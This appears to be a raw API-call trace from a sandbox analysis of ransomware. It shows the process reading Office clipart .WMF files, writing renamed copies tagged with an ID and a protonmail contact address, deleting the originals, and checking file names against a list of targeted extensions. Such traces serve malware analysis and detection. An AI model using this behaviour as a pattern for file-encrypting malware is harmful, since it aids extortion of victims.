	[0207.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220
	[0207.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.007] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.007] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.008] GetLastError () returned 0x0
	[0207.008] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x3b3c, lpOverlapped=0x0) returned 1
	[0207.367] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x3b40, lpOverlapped=0x0) returned 1
	[0207.527] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.527] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.527] SetEndOfFile (hFile=0x378) returned 1
	[0207.527] CloseHandle (hObject=0x378) returned 1
	[0207.527] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.527] SetEndOfFile (hFile=0x374) returned 1
	[0207.528] CloseHandle (hObject=0x374) returned 1
	[0207.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1
	[0207.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.529] lstrlenW (lpString=".doc") returned 4
	[0207.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.529] lstrlenW (lpString=".docx") returned 5
	[0207.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.529] lstrlenW (lpString=".pdf") returned 4
	[0207.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.529] lstrlenW (lpString=".xls") returned 4
	[0207.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.529] lstrlenW (lpString=".xlsx") returned 5
	[0207.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.529] lstrlenW (lpString=".ppt") returned 4
	[0207.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.529] lstrlenW (lpString=".zip") returned 4
	[0207.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.529] lstrlenW (lpString=".rar") returned 4
	[0207.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.529] lstrlenW (lpString=".bz2") returned 4
	[0207.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.529] lstrlenW (lpString=".7z") returned 3
	[0207.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.529] lstrlenW (lpString=".dbf") returned 4
	[0207.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.530] lstrlenW (lpString=".1cd") returned 4
	[0207.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.530] lstrlenW (lpString=".jpg") returned 4
	[0207.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.530] lstrlenW (lpString=".doc") returned 4
	[0207.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString=".docx") returned 5
	[0207.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.530] lstrlenW (lpString=".pdf") returned 4
	[0207.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString=".xls") returned 4
	[0207.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.530] lstrlenW (lpString=".xlsx") returned 5
	[0207.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.530] lstrlenW (lpString=".ppt") returned 4
	[0207.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.530] lstrlenW (lpString=".zip") returned 4
	[0207.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.530] lstrlenW (lpString=".rar") returned 4
	[0207.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString=".bz2") returned 4
	[0207.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.530] lstrlenW (lpString=".7z") returned 3
	[0207.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.530] lstrlenW (lpString=".dbf") returned 4
	[0207.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.531] lstrlenW (lpString=".1cd") returned 4
	[0207.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0207.531] lstrlenW (lpString=".jpg") returned 4
	[0207.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.531] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.531] lstrlenW (lpString="FD02153_.WMF") returned 12
	[0207.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.531] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=5392) returned 1
	[0207.531] CloseHandle (hObject=0x374) returned 1
	[0207.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220
	[0207.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.532] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.532] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.533] GetLastError () returned 0x0
	[0207.533] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x1510, lpOverlapped=0x0) returned 1
	[0207.534] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x1520, lpOverlapped=0x0) returned 1
	[0207.537] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.537] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.538] SetEndOfFile (hFile=0x378) returned 1
	[0207.538] CloseHandle (hObject=0x378) returned 1
	[0207.538] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.538] SetEndOfFile (hFile=0x374) returned 1
	[0207.539] CloseHandle (hObject=0x374) returned 1
	[0207.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1
	[0207.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.540] lstrlenW (lpString=".doc") returned 4
	[0207.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString=".docx") returned 5
	[0207.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.540] lstrlenW (lpString=".pdf") returned 4
	[0207.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString=".xls") returned 4
	[0207.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.540] lstrlenW (lpString=".xlsx") returned 5
	[0207.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.540] lstrlenW (lpString=".ppt") returned 4
	[0207.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.540] lstrlenW (lpString=".zip") returned 4
	[0207.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.540] lstrlenW (lpString=".rar") returned 4
	[0207.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString=".bz2") returned 4
	[0207.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString=".7z") returned 3
	[0207.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.540] lstrlenW (lpString=".dbf") returned 4
	[0207.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.540] lstrlenW (lpString=".1cd") returned 4
	[0207.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.540] lstrlenW (lpString=".jpg") returned 4
	[0207.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.541] lstrlenW (lpString=".doc") returned 4
	[0207.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.541] lstrlenW (lpString=".docx") returned 5
	[0207.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.541] lstrlenW (lpString=".pdf") returned 4
	[0207.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.541] lstrlenW (lpString=".xls") returned 4
	[0207.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.541] lstrlenW (lpString=".xlsx") returned 5
	[0207.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.541] lstrlenW (lpString=".ppt") returned 4
	[0207.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.541] lstrlenW (lpString=".zip") returned 4
	[0207.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.541] lstrlenW (lpString=".rar") returned 4
	[0207.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.541] lstrlenW (lpString=".bz2") returned 4
	[0207.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.541] lstrlenW (lpString=".7z") returned 3
	[0207.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.541] lstrlenW (lpString=".dbf") returned 4
	[0207.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.541] lstrlenW (lpString=".1cd") returned 4
	[0207.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0207.541] lstrlenW (lpString=".jpg") returned 4
	[0207.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.542] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.542] lstrlenW (lpString="FD02158_.WMF") returned 12
	[0207.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.542] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=1648) returned 1
	[0207.542] CloseHandle (hObject=0x374) returned 1
	[0207.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220
	[0207.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.542] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.542] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0207.543] GetLastError () returned 0x0
	[0207.544] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x670, lpOverlapped=0x0) returned 1
	[0207.544] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0x680, lpOverlapped=0x0) returned 1
	[0207.546] ReadFile (in: hFile=0x374, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2effecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.546] WriteFile (in: hFile=0x378, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2effc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.546] SetEndOfFile (hFile=0x378) returned 1
	[0207.546] CloseHandle (hObject=0x378) returned 1
	[0207.546] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.546] SetEndOfFile (hFile=0x374) returned 1
	[0207.547] CloseHandle (hObject=0x374) returned 1
	[0207.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1
	[0207.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.548] lstrlenW (lpString=".doc") returned 4
	[0207.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.548] lstrlenW (lpString=".docx") returned 5
	[0207.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.548] lstrlenW (lpString=".pdf") returned 4
	[0207.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.548] lstrlenW (lpString=".xls") returned 4
	[0207.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.548] lstrlenW (lpString=".xlsx") returned 5
	[0207.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.548] lstrlenW (lpString=".ppt") returned 4
	[0207.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.548] lstrlenW (lpString=".zip") returned 4
	[0207.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.548] lstrlenW (lpString=".rar") returned 4
	[0207.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.548] lstrlenW (lpString=".bz2") returned 4
	[0207.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.548] lstrlenW (lpString=".7z") returned 3
	[0207.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.548] lstrlenW (lpString=".dbf") returned 4
	[0207.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.549] lstrlenW (lpString=".1cd") returned 4
	[0207.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.549] lstrlenW (lpString=".jpg") returned 4
	[0207.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.549] lstrlenW (lpString=".doc") returned 4
	[0207.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString=".docx") returned 5
	[0207.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.549] lstrlenW (lpString=".pdf") returned 4
	[0207.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString=".xls") returned 4
	[0207.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.549] lstrlenW (lpString=".xlsx") returned 5
	[0207.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.549] lstrlenW (lpString=".ppt") returned 4
	[0207.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.549] lstrlenW (lpString=".zip") returned 4
	[0207.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.549] lstrlenW (lpString=".rar") returned 4
	[0207.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString=".bz2") returned 4
	[0207.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.549] lstrlenW (lpString=".7z") returned 3
	[0207.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.549] lstrlenW (lpString=".dbf") returned 4
	[0207.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.550] lstrlenW (lpString=".1cd") returned 4
	[0207.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0207.550] lstrlenW (lpString=".jpg") returned 4
	[0207.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.550] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.550] lstrlenW (lpString="FD02161_.WMF") returned 12
	[0207.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0207.550] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=3128) returned 1
	[0207.550] CloseHandle (hObject=0x374) returned 1
